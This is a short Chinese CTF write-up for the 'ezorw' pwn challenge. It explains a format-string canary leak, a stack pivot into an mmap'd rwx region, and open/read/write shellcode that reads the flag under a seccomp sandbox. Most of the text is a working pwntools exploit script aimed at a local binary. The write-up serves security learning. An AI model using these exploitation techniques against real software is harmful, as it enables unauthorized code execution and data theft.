题目
题目链接
checksec

有 canary 保护
IDA

有沙箱,考虑 orw
可利用格式化字符串漏洞泄露 canary
然后发现 mmap 开了一个 rwx 区域
考虑栈迁移和 ret2shellcode
我们可以在第一次溢出时迁移 rbp 并再次调用溢出漏洞,然后由于 buf 的写入是以 rbp 为基准的,所以在第二次溢出时栈已迁移,可以直接在 rwx 段上布局 shellcode 实现 orw
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from pwn import *
context.log_level = 'debug' context.arch = 'amd64'
elf = ELF('ezorw')
io = process('./ezorw')
fmt = b'%11$p'
io.recvuntil(b'sandbox\n') io.sendline(fmt)
canary = p64(int(io.recv(18), 16)) log.info(f'canary = {hex(u64(canary))}')
io.recvuntil(b'now\n')
rbp_addr = p64(0x66660000 + 0x100) rsp_s_rip_addr = p64(0x66660000 + 0x100 + 0x10) read_addr = p64(0x401373)
padding = 40 payload = b'A' * padding + canary + rbp_addr + read_addr io.sendline(payload)
shellcode = '' shellcode += shellcraft.open('./flag') shellcode += shellcraft.read('rax', 'rsp', 0x100) shellcode += shellcraft.write(1, 'rsp', 0x100) payload = b'A' * padding + canary + rbp_addr + rsp_s_rip_addr + asm(shellcode) io.recvuntil(b'now\n') io.sendline(payload) all_output = io.recvall(timeout=5) log.info(all_output.decode('utf-8', errors='ignore'))
|